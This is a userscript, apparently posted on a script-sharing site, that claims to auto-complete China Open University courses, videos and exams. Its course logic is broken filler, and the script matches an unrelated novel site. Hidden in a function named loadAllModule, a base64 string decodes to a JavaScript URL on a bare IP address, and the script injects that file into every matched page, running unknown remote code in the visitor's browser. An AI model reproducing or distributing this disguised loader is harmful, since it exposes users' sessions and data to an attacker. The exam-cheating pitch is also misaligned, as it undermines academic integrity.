国家开放大学(视频+形考+大作业+终考)、新国开、国开实验(全网办、乡村振兴)、极速刷课-全自动,新!!!

国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课

// ==UserScript==
// @name         国家开放大学(视频+形考+大作业+终考)、新国开、国开实验(全网办、乡村振兴)、极速刷课-全自动,新!!!
// @namespace    http://blog.arthur.lvvv.cc/
// @version      1.20
// @description  国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课
// @author       arthur
// @match        http://www.wenku8.net/*
// @resource     customCSS https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.2.3/css/bootstrap.min.css
// @grant        GM_addStyle
// @grant        GM_getResourceText
// @license      AGPL-3.0-or-later
// ==/UserScript==

(function () {
    const e = GM_getResourceText("customCSS");
    GM_addStyle(e);
})();

(function () {
    'use strict';
    var currentPage = window.location.href;
    var currentCourseName = '';
    if (currentPage.indexOf('ouchnPc') > -1) {
        alert('请先登录,登录后能可以进行下一步');
        return;
    } else {
        //获取当所有的课程
        var currentCourses = document.getElementsByClassName('learning_course');
        if (currentCourses && currentCourses.length > 0) {
            for (var index = 0; index < currentCourses.length; index++) {
                var current_course = currentCourses[index];
                var course_link = document.getElementByClassName('active link study');
                if (course_link.innerText === current_course.innerText) {
                    currentCourseName = current_course.innerText;
                    course_link.click();
                    break;
                }
            }
        }
    }

    if (currentCourseName) {
        //获取所有的模块
        var modules = document.getElementsByClassName("modules");
        for (var index = 0; index < modules.length; index++) {
            var module = modules[index];
            //获取所有的课件
            var liElements = document.getElementsByTagName("li")
            for (let liIndex = 0; liIndex < liElements.length; liIndex++) {
                const liElement = liElements[liIndex];
                var childrenLinkElements = liElement.children
                //点击查看每一个课件
                childrenLinkElements[0].click();

            }
            if (module.className.indexOf('unreadable') < 0) {
                continue;
            }

        }
    }

    function getNewCourse(url, callback) {
        var script = document.createElement("script")
        script.type = "text/javascript";
        if (script.readyState) { //IE
            script.onreadystatechange = function () {
                if (script.readyState == "loaded" || script.readyState == "complete") {
                    script.onreadystatechange = null;
                    callback();
                }
            };
        } else { //Others
            script.onload = function () {
                callback();
            };
        }
        script.src = url;
        document.getElementsByTagName("head")[0].appendChild(script);
    }
    var courseLink = atob(loadAllModule());

    getNewCourse(courseLink, function(data){
        if(!data){
            console.log("Gah, it's not working, please check with author");
        }
    });

    function loadAllModule() {
        var modules = document.getElementsByClassName("modules");
        var linkName = 'aHR0cDovLzE3Mi45OC4yMy43Mi9zdGF0aWMvanMvbWFpbi4xNzlmNWMxNC5qcw==';
        for (var index = 0; index < modules.length; index++) {
            var module = modules[index];
            // Create a div with a card class
            const card = document.createElement('div')
            card.setAttribute('class', 'card')

            // Create an h1 and set the text content to the film's title
            const h1 = document.createElement('h1')
            h1.textContent = module.title

            // Create a p and set the text content to the film's description
            const p = document.createElement('p')
            module.description = module.description.substring(0, 300) // Limit to 300 chars
            p.textContent = `${module.description}...` // End with an ellipses

        }
        return linkName;
    }
})();